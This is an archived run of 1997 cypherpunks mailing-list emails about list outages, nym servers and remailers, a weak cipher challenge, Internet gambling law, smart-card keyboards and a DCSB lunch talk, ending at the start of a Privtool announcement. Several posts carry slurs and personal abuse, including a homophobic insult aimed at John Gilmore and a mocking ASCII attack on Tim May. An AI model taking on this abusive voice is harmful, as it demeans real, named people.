Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id PAA13138 for cypherpunks+incoming-cyberpass@algebra.com; Mon, 26 May 1997 15:56:51 -0500
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Date: Mon, 26 May 1997 16:59:07 +0000 (   )
From: Paul Bradley <paul@fatmans.demon.co.uk>
To: cypherpunks@cyberpass.net
Subject: Mail problems
Message-ID: <Pine.LNX.3.91.970526165201.275A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

	
I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
hours now, I have unsub-scr-ibed from algebra.com (which did not repond to 
a ping at around 11am GMT today) and re-sub-scr-ibed to cyberpass.net, but 
have still only seen another one post (raphs remailer ping post). 
Has anyone else experienced problems, inside the UK or outside? 

All of the post that have come through have been sent initially to 
toad.com, my guess would be that nearly everyone, regardless of where 
they are sub-scr-ibed, is sending posts to algebra.com, which appears to be 
down, therefore cyberpass and ssz, even though they are up, have not got 
many messages to send on, does anyone know where toad.com is forwarding 
posts to?

I wonder if this outage might have anything to do with Igor moving the 
list to another machine, as I seem to remember he said he was, although 
if I recall correctly he did not think this would cause a problem. As I 
said, cyberpass is definitely up and has responded to my majordomo request. 


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"


----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 07:29:51 +0800
To: ichudov@algebra.com
Subject: Re: BOUNCE cypherpunks@Algebra.COM:     Admin request of type
In-Reply-To: <199705262319.SAA14235@manifold.algebra.com>
Message-ID: <199705262323.SAA14319@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


cpunks@algebra.com wrote:
> ----- Forwarded message from owner-cypherpunks@algebra.com -----
> 
> >From owner-cypherpunks@Algebra.COM  Mon May 26 15:57:06 1997
> Date: Mon, 26 May 1997 15:57:06 -0500
> From: owner-cypherpunks@algebra.com
> Message-Id: <199705262057.PAA13157@manifold.algebra.com>
> To: owner-cypherpunks@Algebra.COM
> Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\buns\w*b/i at line 3  
> 
> >From cpunks@manifold.algebra.com  Mon May 26 15:56:57 1997
> Return-Path: <cpunks@sirius.infonex.com>
> Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id PAA13138 for cypherpunks+incoming-cyberpass@algebra.com; Mon, 26 May 1997 15:56:51 -0500
> Received: from sirius.infonex.com (cpunks@sirius.infonex.com [206.170.114.2])
> 	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id QAA01122
> 	for <cypherpunks+incoming-cyberpass@algebra.com>; Mon, 26 May 1997 16:56:19 -0400 (EDT)
> Received: (from cpunks@localhost) by sirius.infonex.com (8.8.5/8.7.3) id NAA20075; Mon, 26 May 1997 13:56:02 -0700 (PDT)
> Received: from rigel.cyberpass.net (root@rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id NAA20063 for <cpunks@sirius.infonex.com>; Mon, 26 May 1997 13:55:30 -0700 (PDT)
> Received: from punt-2.mail.demon.net (relay-11.mail.demon.net [194.217.242.137]) by rigel.cyberpass.net (8.8.5/8.7.3) with SMTP id NAA15274 for <cypherpunks@cyberpass.net>; Mon, 26 May 1997 13:53:49 -0700 (PDT)
> Received: from fatmans.demon.co.uk ([158.152.120.223]) by punt-2.mail.demon.net
>            id aa1107689; 26 May 97 21:14 BST
> Received: (from paul@localhost) by fatmans.demon.co.uk (8.6.12/8.6.9) id QAA00281; Mon, 26 May 1997 16:59:08 GMT
> Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> From: Paul Bradley <paul@fatmans.demon.co.uk>
> To: cypherpunks@cyberpass.net
> Subject: Mail problems
> Message-ID: <Pine.LNX.3.91.970526165201.275A-100000@fatmans.demon.co.uk>
> MIME-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> 
> 	
> I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> hours now, I have unsub-scr-ibed from algebra.com (which did not repond to 
> a ping at around 11am GMT today) and re-sub-scr-ibed to cyberpass.net, but 

algebra never responds to pings.

The reason why your article did not go through is because majordomo
thought that your article was an un-sus-cri-be request.

I am very annoyed at the extremely unintelligent behavior of majordomo:
instead of bouncing messages to cypherpunks-owner it should bounce them
back to posters. It should also do a better job at identifying admin
requests.

> have still only seen another one post (raphs remailer ping post). 
> Has anyone else experienced problems, inside the UK or outside? 
> 
> All of the post that have come through have been sent initially to 
> toad.com, my guess would be that nearly everyone, regardless of where 
> they are sub-scr-ibed, is sending posts to algebra.com, which appears to be 
> down, therefore cyberpass and ssz, even though they are up, have not got 
> many messages to send on, does anyone know where toad.com is forwarding 
> posts to?

cyberpass is also subscribed to toad.

> I wonder if this outage might have anything to do with Igor moving the 
> list to another machine, as I seem to remember he said he was, although 
> if I recall correctly he did not think this would cause a problem. As I 
> said, cyberpass is definitely up and has responded to my majordomo request. 

I am not moving anything yet.

igor

>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 
> ----- End of forwarded message from owner-cypherpunks@algebra.com -----
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 07:46:43 +0800
To: freedom-knights@jetcafe.org (Freedom Knights)
Subject: Re: Nym Servers
In-Reply-To: <Z4yB8D17w165w@bwalk.dm.com>
Message-ID: <199705262326.SAA14393@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > As far as I understand, nym servers die because their maintainers get
> > tired of the huge amount of mass mailings, mailbombings and complaints
> > that these servers generate. Often enough they simply do not have the
> > bandwidth or CPU resources to maintain them.
> 
> Stanford Wallace is doing an excellent job hosting "unpopular"
> Internet features which the politically correct scum (like the
> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> 
> It's pricey, but it sounds like a nearly ideal site for remailers,
> nym sevrers, and the like.

I do not think that cyberpromo is a good site for remailers, because
a lot of sites ignore everything that comes out of cyberpromo and 
affiliated domains. A user who decides to use a cyberpromo-hosted
remailer will not be sure whether his messages will be delivered to
recipients or not.

It may be slightly better to use cyberpromo for a nym server, though.

How much does it cost to have a domain with Cyberpromo?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 27 May 1997 09:57:48 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199705262230.PAA07484@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970526194501.82572D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 26 May 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> In a jerk-off competition Timothy C[rook] May finishes 
> second, third and fifth.
> 
>               ,,,
>              ($ $)
>          -ooO-(_)-Ooo- Timothy C[rook] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 27 May 1997 09:48:15 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705262326.SAA14393@manifold.algebra.com>
Message-ID: <8u9B8D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> I do not think that cyberpromo is a good site for remailers, because
> a lot of sites ignore everything that comes out of cyberpromo and
> affiliated domains. A user who decides to use a cyberpromo-hosted
> remailer will not be sure whether his messages will be delivered to
> recipients or not.

It's not "a lot" of sites - most of them are just making stupid noises.
Also, if a site does try to decide what its users are allowed to read,
it's too bad for the users - let them move to another site.

> It may be slightly better to use cyberpromo for a nym server, though.

It might be a good site for an anon.penet.fi-like server (yes, I keep
promising to do something...)

> How much does it cost to have a domain with Cyberpromo?

I believe it's something like $25/month, not including $100 to InterNIC.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Tue, 27 May 1997 15:08:50 +0800
To: paul@fatmans.demon.co.uk (Paul Bradley)
Subject: Re: Spam IS Free Speech
In-Reply-To: <Pine.LNX.3.91.970522182630.712B-100000@fatmans.demon.co.uk>
Message-ID: <970527.001130.1E4.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, paul@fatmans.demon.co.uk writes:

> You are forgetting the 998348934th ammendment of the US constitution:
>
> Congress shall make no law infringing the right of the people to kidnap 
> megaphone owners...

The 1st one begins with "Congress shall make no law", and that's quite
enough.  The US government is forbidden to interfere in matters of
speech. (yah, I know this doesn't seem to slow 'em down much) You're
right that a sendmail (or other process vulnerable to subversion) should
protect itself.  My fear is that our benevolent protectorate will
_require_ such precautions, because that concedes the duty to provide
other precautions as the law might require.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
                 Key available from pubkey@scytale.com
            I charge to process unsolicited commercial email

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM4puNBvikii9febJAQF8jAP/RmVg8Nh3o1xEnDl1VVchpgT9JEWCsr0p
rM9jIOBjyI2i5H07+6AhwZ2oKWQBz2KKRN+/RhCbRTmEBfAJO5SngyNzMmFi+ov3
BX2yYxz5hyduoQXgW+Wwq57oZSEyZ8A68OgzTvcKwvWwW+7vfO/appfEfoKeCDll
mlMY3wxpl1I=
=2RLx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 27 May 1997 07:49:49 +0800
To: ichudov@algebra.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
In-Reply-To: <199705170136.UAA16850@manifold.algebra.com>
Message-ID: <m0wW9DS-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


>Also, some may be interested to look at this particular encryption
>method (I added some indentation and comments for readability). I believe
>that it is not particularly strong.

>      Block[I1] := Block[I1] xor Random(256);
>      Block[I1] := EncTable[Block[I1]];

What is Random()? How is it seeded?

>>  The first
>> cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
>> sends decrypted message and the correct key to info@dataet.com and
>> cypherpunks@toad.com will receive a free basic Web site package. (Package
>> details are located at http://www.dataet.com). (Igor, this is it!)

The test file is only 836 bytes long.  Could you please post a file
consisting of, say, 50.000 space characters encrypted with the same
key?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: meowForce <kibo@thecia.net>
Date: Tue, 27 May 1997 15:33:04 +0800
To: Freedom Knights <freedom-knights@jetcafe.org>
Subject: Re: Nym Servers
In-Reply-To: <199705262326.SAA14393@manifold.algebra.com>
Message-ID: <Pine.BSI.3.96.970527024418.18261B-100000@shell.thecia.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 26 May 1997, Igor Chudov @ home wrote:

> Date: Mon, 26 May 1997 18:26:33 -0500 (CDT)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: devnull@manifold.algebra.com,
>     Freedom Knights <freedom-knights@jetcafe.org>
> Cc: cypherpunks@toad.com
> Subject: Re: Nym Servers
> 
> Dr.Dimitri Vulis KOTM wrote:
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > As far as I understand, nym servers die because their maintainers get
> > > tired of the huge amount of mass mailings, mailbombings and complaints
> > > that these servers generate. Often enough they simply do not have the
> > > bandwidth or CPU resources to maintain them.
> > 
> > Stanford Wallace is doing an excellent job hosting "unpopular"
> > Internet features which the politically correct scum (like the
> > cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> > 
> > It's pricey, but it sounds like a nearly ideal site for remailers,
> > nym sevrers, and the like.
> 
> I do not think that cyberpromo is a good site for remailers, because
> a lot of sites ignore everything that comes out of cyberpromo and 
> affiliated domains. A user who decides to use a cyberpromo-hosted
> remailer will not be sure whether his messages will be delivered to
> recipients or not.
> 
> It may be slightly better to use cyberpromo for a nym server, though.
> 
> How much does it cost to have a domain with Cyberpromo?
> 
> 	- Igor.
> 

$25 a month.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 27 May 1997 18:16:05 +0800
To: cypherpunks@toad.com
Subject: Judge bans Internet gambling company from operating in Missouri
Message-ID: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Judge bans Internet gambling company from operating in Missouri
>
> http://www.nando.net/newsroom/ntn/info/052597/info14_11497.html
>
>Copyright (c) 1997 Nando.net
>Copyright (c) 1997 Kansas City Star
>
>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>on Friday banned an Internet gambling company from operating in the
>state.
>
>The Jackson County ruling places Missouri in the forefront of an
>emerging national debate that will determine whether cyber gambling
>fades or evolves into a $10 billion-a-year business, as some
>industry analysts project.
>
>Visiting St. Francois County Circuit Judge Stan L. Murphy also
>ordered that Interactive Gaming & Communications Corp. pay more than
>$66,000 in fines and legal expenses. Interactive Gaming has refused
>and plans to take its fight to federal court.
>
>Among other terms Murphy imposed on Interactive Gaming, which
>operates out of Blue Bell, Pa.:
>
>- Interactive Gaming cannot market, offer or promote gambling in
>Missouri.
>
>- Interactive Gaming must post a notice on its home page that
>Missouri residents cannot register to gamble, and it must immediately
>reject any who try. It must also notify the state attorney general if
>anyone does try to register.
>
>- At its expense, the company must provide any of its computer
>records or office records for any audits requested by Missouri
>Attorney General Jay Nixon.
>
>The judge also found that Interactive Gaming's subsidiary, Global
>Casinos Ltd. in the Caribbean, is a mere "alter ego" of the
>Pennsylvania firm. Interactive Gaming uses offshore gambling
>accounts to try to circumvent Missouri law, he ruled. His ruling
>applies to only Interactive Gaming and Global.
>
>About 20 offshore companies offer gambling on the Internet and more
>are coming, said Sue Schneider, managing editor of Rolling Good
>Times OnLine, an Internet news service. Slot machines, card games,
>roulette and other casino-style games can be played after
>establishing a cash account that is drawn on during play.
>
>Nixon said he would watch for any other companies operating in
>Missouri and act on any complaints against them.
>
>He said this was the first time in the United States that an ongoing
>Internet gambling operation had been sued and stopped. He said the
>company violated state gambling laws. The gambling business never
>gained momentum in the state, because Nixon last month filed a
>restraining order against it.
>
>The issue of Internet gambling is getting attention elsewhere.
>
>In Wisconsin, a state case is pending in which the state sued a
>company that was about to start. A federal case also is pending in
>Wisconsin in which a gambling company has sued to get a judgment on
>whether Internet gambling is legal. A bill to make Internet gambling
>illegal failed in Congress last year; a similar measure is pending
>this year.
>
>As more Internet gambling companies open or announce plans to start,
>Nixon said, "they are watching our case and the one in Wisconsin."
>
>Philadelphia lawyer Lawrence Hirsch, who represents the company,
>said Friday that the fight between Nixon and Interactive Gaming just
>started.
>
>"We'll send them a lawsuit in federal court," Hirsch said. "They're
>trying to murder a legitimate business."
>
>The company will put the warning on its Internet site that Missouri
>residents are forbidden to play, he said, "and we'll tell them why."
>
>"Do the people of Missouri think they need to get Jay's permission
>to get on the Internet and spend $25?" he asked.
>
>Murphy signed the default order following unopposed testimony
>Thursday in Kansas City from assistant Missouri attorneys general.
>Hirsch said he chose not to appear.
>
>Assistant Attorney General J. Dale Youngs called witnesses,
>presented evidence and drove home his points for four hours.
>Highlights of the hearing included:
>
>- On Feb. 25 an investigator called the web site and a woman named
>Marjorie assured him gambling would be legal. On March 17 he got a
>user ID number and the password "Daisy." He mailed in $100 to play
>in a slots tournament. Nixon soon filed against Interactive Gaming.
>
>- On April 24, Interactive Gaming agreed not to accept business from
>Missouri residents and to put a warning to them on its home site.
>
>- From May 9 to 20 another undercover investigator registered to
>gamble, mailed in $200 to start an account and gambled. That was
>unintentional, Hirsch said Friday,"stupidity by employees."
>
>- Missouri strictly controls gambling and checks backgrounds of all
>companies that apply for licenses. The FBI had served a search
>warrant at Interactive Gaming headquarters in February. The company
>does not know the reason for the search and no charges have been
>filed, Hirsch said Friday.
>
>- All the income from Interactive Gaming comes from gambling
>accounts that clients deposit in Grenada. If customers decided to
>suddenly withdraw all that money, the company would be more than $1
>million short.
>
>Hirsch said Friday that Interactive Gaming's only gambling accounts
>in Missouri came from the two investigators. He hopes for more later,
>he said, when courts establish that citizens or federal laws control
>Internet gambling.
>
>"They say they're not under Missouri law," Nixon said, "but that
>hasn't prevented them from taking Missourians' money."
>
>By JOE LAMBE, Kansas City Star
>
>************************************************************************
>Michael A. Geist
>Associate in Law, Columbia University, School of Law
>435 West 116th Street
>New York, NY, 10027, U.S.A.
>e-mail: mag76@columbia.edu
>url:    http://www.columbia.edu/~mag76
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 27 May 1997 22:27:14 +0800
To: cypherpunks@toad.com
Subject: DCSB: The Internet as an Auction-Pricing Incubator
Message-ID: <v0302093bafb090c90e59@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents

                            Fred Hapgood

            "The Internet as an Auction-Pricing Incubator"



                        Tuesday, June 3, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


The low transaction costs and interactivity of the internet are proving a
highly favorable incubator for auction pricing.  In April Yahoo reported
60+ sites supporting online auctions with more appearing every day. The
largest of these hosted more than 50,000 individual auctions (not
individual items) simultaneously and was growing at 25% a month.  Online
auction sites appear to be the only indigenous internet service that is a)
generating profits of any scale and b) respectable. Fred will describe how
these auctions work, some of their varieties, what they are selling,
analyze the online auction site as a business model, review recent
developments, and weigh the odds that online auctions will be associated
with changes of interest in the structure of the economy and the culture.

Fred Hapgood, <http://www.pobox.com/~hapgood>, is a free-lance writer based
in Boston. While he often writes about aspects of electronic commerce, that
being where the market is, he promises creditworthy clients an attentive
and positive hearing to any proposition legal in at least one jurisdiction.
Last year he spoke before the DCSB on franchising and the internet.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, June 3, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 31, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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BCwpKsP/vkzw97+QuhOJJIg5fq0uXqXAADDOwS6SSwt3oCp6cuBcog==
=DaZq
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 01:31:33 +0800
To: cypherpunks@algebra.com
Subject: I am allowed one message  (was: List problems or is it quiet???)
In-Reply-To: <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>
Message-ID: <v03102800afb0c3d3add4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:52 PM +0000 5/27/97, root wrote:
>
>I have checked the cypherpunks archive following my comment that I was
>not getting much mail from the list (only 8 to 10 posts per day) over the
>last 2 or 3 days, and the archive confirms this. Igor and Jim have
>confirmed that algebra and ssz are up, and cyberpass is reponding to
>majordomo requests...
>
>I`m just sending this to check that this really is not a list problem, as
>of course 10 posts a day is an uncommonly low traffic level for the list.
>
>Unless of course the black clad ninja`s have come round on 4am nomex
>hooded raids, and you are all in the ministry of love being questioned
>over allegations of thoughtcrime, which would explain the lack of posts
>;-)......

Many of us are only being allowed *one message* (used to be one phone call,
but now it's one message in any medium, except smoke signals, which are
banned by the Clean Air Act, like all forms of smoke generation).

So, this is my message.

I'm doing OK. The food stinks, but my reeducation is going well. I now
understand the need to reeductate dissidents such as I once was: an orderly
society cannot tolerate constant clamoring for so-called free speech. The
First, Second, and other Amendments must be interpreted in their true light.

And to read them precisely, they prominently say "Congress shall make no
law..." about their respective areas. Well, the Executitive Branch is most
definitely not Congress, so the Executitive Decision Orders and
Presidential Decision Directives which have allowed me to see the errors of
my ways are most defininitely not violations of the "Congress shall make no
law" language.

And National Security Decision Directive which abolished freedom on the
Net, NSDD-666,  has the full faith and backing of many major government
agencies, including the Federal Communications Commission, the Federal
Emergency Preparedness Agency, the National Health Agency, the Internal
Security Agency, the National Surveillance Authority, and of course the
Thought Police.

As the Secretary of Media Declan McCullagh put it so accurately before
assuming his current duties: "We must learn to censor ourselves, or the
government will have to do it for us."

In my several days at the People's Job Training and Rest Center, I have
learned that I really and truly and completely do love Big Brother.

--Winston Smith, Job Trainee #227-90-2389






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 28 May 1997 00:26:36 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Nym Servers
In-Reply-To: <Z4yB8D17w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.970527105218.8656D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


> Stanford Wallace is doing an excellent job hosting "unpopular"
> Internet features which the politically correct scum (like the
> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> 

Just filter everything from Agis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <00043.an@edtec.com>
Date: Tue, 27 May 1997 23:23:34 +0800
To: <cypherpunks@algebra.com>
Subject: No Subject
Message-ID: <9705271451.AA08876@future.atlcom.net>
MIME-Version: 1.0
Content-Type: text/plain



Microsoft has been involved for some time with smart-card keyboard readers,
and I think some of my cohorts have seen the prototypes (I have not).
I figure strong authentication will become part of the the platform within
somewhere 
between 6 and 18 months.  With Intel putting crypto on the main board / CPU,
this poses very important issues --- it does not give me a warm fuzzy feeling.


Tim May writes:
> Could hardware-based chips be coming? At a recent meeting, John Markoff
> asked me if I'd heard anything about Intel's rumored contract to buy 20
> million (yes, 20 _million_) keyboards with crypto features built in. I had
> not heard this rumor.
> 
> (Since then, though, there have been rumblings that Intel is preparing to
> offer such keyboards, possibly with "user authentication" features (don't
> know what kind). This might, speculating here, be linked with  the Intel-HP
> (and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
> plan to sell a large user base (20 million?) on a hardware/keyboard-based
> "secure commerce" solution.)

I haven't heard anything about this rumor.  However, if you look at
the new USB chips being built by Cypress et al, it's not hard to
imagine keyboards with ISO smart card readers built in.  The USB chips
contain a simple RISC core, lots of I/O pins and something like 4-8KB
of FLASH or OTP memory.  The incremental cost is a slot with 6
contacts for the smart card.  Unlike PCMCIA, the ISO smart cards are
cheap to build and easy to interface to.  Schmlumberger is currently
promoting it's "CryptoFlex" card which can do 1024-bit RSA sigs as
well as triple-DES.  I believe that it can do a 1024-bit sig in
something like 20 ms.

Eric








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Wed, 28 May 1997 04:57:59 +0800
To: cypherpunks@cyberpass.net
Subject: SSN and passport
Message-ID: <199705271820.LAA07618@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



     I recently applied for a U.S. passport and, as an experiment,
entered a SSN of 000-00-0000.  The nice lady at the counter informed
me that it would not be processed unless I provided a valid SSN (which
gets forwarded to the IRS).  It was my understanding that this
disclosure was voluntary and that another form was available for
notifying the IRS that a passport had been applied for.

     My travel plans didn't allow me the luxury of delaying the
application process, so I provided the damn number.  Does anyone know
the real rules for this situation?  Must passports be cleared with the
tax goons or do they just want to keep tabs on people travelling
abroad?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 28 May 1997 05:03:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Judge bans Internet gambling company from operating inMissouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: <v03102800afb0cf437efe@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>on Friday banned an Internet gambling company from operating in the
>>state.

As my daddy once said, "Son, follow the money."

Dispite the clearly boogyman media coverage, for example, about teens using
their parent's credit cards to gamble online, all this hand wringing and
posturing by states is merely about trying to prevent competition to their
monopoly gaming franchise.  Although online gaming is strictly in a nascent
stage, the revenue generated by state run or regulated gaming has become
too large and important to state politicians to allow unregulated (i.e.,
taxed) Internet business to muscle in.  Hell, the lotteries are nothing
more than a state franchised number's racket.

The mistake Interactive Gaming and some other online gaming sites have made
is to have any corporate presence in the US.  I guess its a bit of bravado
on the part of these entrepreneurs, mostly American, to "tickle the
dragon's tail" and not expect to get whipped once in a while.

For excellent coverage of this issue, see Glenn Barry's coverage in Rolling
Good Times OnLine's site at http://www.rgtonline.com/Nambling.html

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 28 May 1997 03:06:55 +0800
To: cypherpunks@toad.com
Subject: Privtool 0.90 release
Message-ID: <Pine.SOL.3.96.970527113718.21471A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


	Privtool Beta Release
